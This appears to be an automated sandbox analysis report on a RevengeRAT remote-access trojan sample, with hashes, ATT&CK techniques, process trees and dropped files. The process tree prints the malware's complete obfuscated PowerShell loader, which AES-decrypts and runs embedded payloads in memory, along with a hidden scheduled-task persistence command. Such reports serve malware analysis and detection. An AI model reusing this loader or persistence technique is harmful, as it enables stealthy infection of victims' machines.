revengerat | 0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc

Analysis

max time kernel
51s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 06:27

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General

Target

Client.bat
Size

265KB
MD5

01e96014af705a61d5ca83d367517549
SHA1

403b1418e8ff1b7bb218cf87bfb7cc45905ea3e1
SHA256

0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc
SHA512

af19bf403f1204bef43d12b9c6872a0e67da2f8a6d168dd14481968c5d418fa982a3aa8677f7b011f39314ef6a351e785af3d46e692443cc23ea1fa3b2cbb7d2
SSDEEP

6144:c5G5RlzeUqntbabTty2g13glFyDZdCq0PfxGY:c5G5RUUguTE31QqddT0PZGY

Score

10^/10

revengerat execution stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/3564-141-0x0000015226470000-0x0000015226478000-memory.dmp	revengerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3564	powershell.exe
4056	powershell.exe
5252	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DBE623D7D"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4056	powershell.exe
4056	powershell.exe
5252	powershell.exe
5252	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeIncreaseQuotaPrivilege	5252	powershell.exe
Token: SeSecurityPrivilege	5252	powershell.exe
Token: SeTakeOwnershipPrivilege	5252	powershell.exe
Token: SeLoadDriverPrivilege	5252	powershell.exe
Token: SeSystemProfilePrivilege	5252	powershell.exe
Token: SeSystemtimePrivilege	5252	powershell.exe
Token: SeProfSingleProcessPrivilege	5252	powershell.exe
Token: SeIncBasePriorityPrivilege	5252	powershell.exe
Token: SeCreatePagefilePrivilege	5252	powershell.exe
Token: SeBackupPrivilege	5252	powershell.exe
Token: SeRestorePrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeSystemEnvironmentPrivilege	5252	powershell.exe
Token: SeRemoteShutdownPrivilege	5252	powershell.exe
Token: SeUndockPrivilege	5252	powershell.exe
Token: SeManageVolumePrivilege	5252	powershell.exe
Token: 33	5252	powershell.exe
Token: 34	5252	powershell.exe
Token: 35	5252	powershell.exe
Token: 36	5252	powershell.exe
Token: SeIncreaseQuotaPrivilege	5252	powershell.exe
Token: SeSecurityPrivilege	5252	powershell.exe
Token: SeTakeOwnershipPrivilege	5252	powershell.exe
Token: SeLoadDriverPrivilege	5252	powershell.exe
Token: SeSystemProfilePrivilege	5252	powershell.exe
Token: SeSystemtimePrivilege	5252	powershell.exe
Token: SeProfSingleProcessPrivilege	5252	powershell.exe
Token: SeIncBasePriorityPrivilege	5252	powershell.exe
Token: SeCreatePagefilePrivilege	5252	powershell.exe
Token: SeBackupPrivilege	5252	powershell.exe
Token: SeRestorePrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeSystemEnvironmentPrivilege	5252	powershell.exe
Token: SeRemoteShutdownPrivilege	5252	powershell.exe
Token: SeUndockPrivilege	5252	powershell.exe
Token: SeManageVolumePrivilege	5252	powershell.exe
Token: 33	5252	powershell.exe
Token: 34	5252	powershell.exe
Token: 35	5252	powershell.exe
Token: 36	5252	powershell.exe
Token: SeIncreaseQuotaPrivilege	5252	powershell.exe
Token: SeSecurityPrivilege	5252	powershell.exe
Token: SeTakeOwnershipPrivilege	5252	powershell.exe
Token: SeLoadDriverPrivilege	5252	powershell.exe
Token: SeSystemProfilePrivilege	5252	powershell.exe
Token: SeSystemtimePrivilege	5252	powershell.exe
Token: SeProfSingleProcessPrivilege	5252	powershell.exe
Token: SeIncBasePriorityPrivilege	5252	powershell.exe
Token: SeCreatePagefilePrivilege	5252	powershell.exe
Token: SeBackupPrivilege	5252	powershell.exe
Token: SeRestorePrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeSystemEnvironmentPrivilege	5252	powershell.exe
Token: SeRemoteShutdownPrivilege	5252	powershell.exe
Token: SeUndockPrivilege	5252	powershell.exe
Token: SeManageVolumePrivilege	5252	powershell.exe
Token: 33	5252	powershell.exe
Token: 34	5252	powershell.exe
Token: 35	5252	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1036 wrote to memory of 5348	1036	cmd.exe	81
PID 1036 wrote to memory of 5348	1036	cmd.exe	81
PID 5348 wrote to memory of 2100	5348	net.exe	82
PID 5348 wrote to memory of 2100	5348	net.exe	82
PID 1036 wrote to memory of 1236	1036	cmd.exe	83
PID 1036 wrote to memory of 1236	1036	cmd.exe	83
PID 1036 wrote to memory of 4056	1036	cmd.exe	84
PID 1036 wrote to memory of 4056	1036	cmd.exe	84
PID 4056 wrote to memory of 5252	4056	powershell.exe	85
PID 4056 wrote to memory of 5252	4056	powershell.exe	85
PID 4056 wrote to memory of 2764	4056	powershell.exe	90
PID 4056 wrote to memory of 2764	4056	powershell.exe	90
PID 2764 wrote to memory of 5280	2764	WScript.exe	91
PID 2764 wrote to memory of 5280	2764	WScript.exe	91
PID 5280 wrote to memory of 412	5280	cmd.exe	93
PID 5280 wrote to memory of 412	5280	cmd.exe	93
PID 412 wrote to memory of 5304	412	net.exe	94
PID 412 wrote to memory of 5304	412	net.exe	94
PID 5280 wrote to memory of 692	5280	cmd.exe	96
PID 5280 wrote to memory of 692	5280	cmd.exe	96
PID 5280 wrote to memory of 3564	5280	cmd.exe	97
PID 5280 wrote to memory of 3564	5280	cmd.exe	97
PID 3564 wrote to memory of 3500	3564	powershell.exe	55
PID 3564 wrote to memory of 1772	3564	powershell.exe	31
PID 3564 wrote to memory of 1968	3564	powershell.exe	33
PID 3564 wrote to memory of 1376	3564	powershell.exe	35
PID 3564 wrote to memory of 3732	3564	powershell.exe	95
PID 3564 wrote to memory of 1160	3564	powershell.exe	20
PID 3564 wrote to memory of 2536	3564	powershell.exe	43
PID 3564 wrote to memory of 2528	3564	powershell.exe	42
PID 3564 wrote to memory of 3512	3564	powershell.exe	56
PID 3564 wrote to memory of 3708	3564	powershell.exe	57
PID 3564 wrote to memory of 1736	3564	powershell.exe	30
PID 3564 wrote to memory of 1528	3564	powershell.exe	27
PID 3564 wrote to memory of 1724	3564	powershell.exe	37
PID 3564 wrote to memory of 736	3564	powershell.exe	14
PID 3564 wrote to memory of 1128	3564	powershell.exe	19
PID 3564 wrote to memory of 2900	3564	powershell.exe	52
PID 3564 wrote to memory of 1520	3564	powershell.exe	26
PID 3564 wrote to memory of 5852	3564	powershell.exe	68
PID 3564 wrote to memory of 2892	3564	powershell.exe	51
PID 3564 wrote to memory of 1312	3564	powershell.exe	22
PID 3564 wrote to memory of 1108	3564	powershell.exe	18
PID 3564 wrote to memory of 1500	3564	powershell.exe	25
PID 3564 wrote to memory of 908	3564	powershell.exe	11
PID 3564 wrote to memory of 6028	3564	powershell.exe	69
PID 3564 wrote to memory of 1692	3564	powershell.exe	29
PID 3564 wrote to memory of 960	3564	powershell.exe	12
PID 3564 wrote to memory of 1284	3564	powershell.exe	21
PID 3564 wrote to memory of 2268	3564	powershell.exe	40
PID 3564 wrote to memory of 1872	3564	powershell.exe	32
PID 3564 wrote to memory of 2856	3564	powershell.exe	50
PID 3564 wrote to memory of 1080	3564	powershell.exe	17
PID 3564 wrote to memory of 1072	3564	powershell.exe	16
PID 3564 wrote to memory of 5004	3564	powershell.exe	66
PID 3564 wrote to memory of 1652	3564	powershell.exe	28
PID 3564 wrote to memory of 64	3564	powershell.exe	15
PID 3564 wrote to memory of 2816	3564	powershell.exe	48
PID 3564 wrote to memory of 844	3564	powershell.exe	10
PID 3564 wrote to memory of 436	3564	powershell.exe	67
PID 3564 wrote to memory of 2364	3564	powershell.exe	41
PID 3564 wrote to memory of 1408	3564	powershell.exe	24
PID 3564 wrote to memory of 2192	3564	powershell.exe	39
PID 3564 wrote to memory of 2704	3564	powershell.exe	45

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:844
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:4352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:64

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2900

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95fXsaIlcGmb66kIfwPk1Rgbc20oigIl2ZjrEVOMHi4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wjcEpBfUU+saUdwde7IiAQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dBbxa=New-Object System.IO.MemoryStream(,$param_var); $mlDCQ=New-Object System.IO.MemoryStream; $PXkUJ=New-Object System.IO.Compression.GZipStream($dBbxa, [IO.Compression.CompressionMode]::Decompress); $PXkUJ.CopyTo($mlDCQ); $PXkUJ.Dispose(); $dBbxa.Dispose(); $mlDCQ.Dispose(); $mlDCQ.ToArray();}function execute_function($param_var,$param2_var){ $VAZow=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IkZgf=$VAZow.EntryPoint; $IkZgf.Invoke($null, $param2_var);}$EKyfL = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $EKyfL;$XGvbw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EKyfL).Split([Environment]::NewLine);foreach ($ezjrc in $XGvbw) { if ($ezjrc.StartsWith('BPOZEQjVjBpbWIFJNOov')) { $rjbAO=$ezjrc.Substring(20); break; }}$payloads_var=[string[]]$rjbAO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5252
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5280
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:5304
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95fXsaIlcGmb66kIfwPk1Rgbc20oigIl2ZjrEVOMHi4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wjcEpBfUU+saUdwde7IiAQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dBbxa=New-Object System.IO.MemoryStream(,$param_var); $mlDCQ=New-Object System.IO.MemoryStream; $PXkUJ=New-Object System.IO.Compression.GZipStream($dBbxa, [IO.Compression.CompressionMode]::Decompress); $PXkUJ.CopyTo($mlDCQ); $PXkUJ.Dispose(); $dBbxa.Dispose(); $mlDCQ.Dispose(); $mlDCQ.ToArray();}function execute_function($param_var,$param2_var){ $VAZow=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IkZgf=$VAZow.EntryPoint; $IkZgf.Invoke($null, $param2_var);}$EKyfL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.bat';$host.UI.RawUI.WindowTitle = $EKyfL;$XGvbw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EKyfL).Split([Environment]::NewLine);foreach ($ezjrc in $XGvbw) { if ($ezjrc.StartsWith('BPOZEQjVjBpbWIFJNOov')) { $rjbAO=$ezjrc.Substring(20); break; }}$payloads_var=[string[]]$rjbAO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:692
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:6028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkv1ep1p.lox.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.bat

Filesize
265KB

MD5
01e96014af705a61d5ca83d367517549

SHA1
403b1418e8ff1b7bb218cf87bfb7cc45905ea3e1

SHA256
0259988df01a82ad5936bc17d01a96b07b8bd530790bf47277535edef3100ffc

SHA512
af19bf403f1204bef43d12b9c6872a0e67da2f8a6d168dd14481968c5d418fa982a3aa8677f7b011f39314ef6a351e785af3d46e692443cc23ea1fa3b2cbb7d2

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_414.vbs

Filesize
124B

MD5
ed9958e2c7e0d7deb3b45ca2718a2c4e

SHA1
61da3331b16221dc2dd2e935102b54bd032d1c8d

SHA256
4e23ed6b62078575722c0787ddeb358acb8c698752e120821c1efc343181b235

SHA512
79dc2653701add742ace97a57ba3d3eee1e6c832f80f08607823d5bf484d1d746488a1453c2f4532f2cf2896612dcc263f803bbc1ca7fafa532a254ecb3849a3

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/64-108-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/788-98-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/908-95-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/960-104-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/1108-103-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/1312-102-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
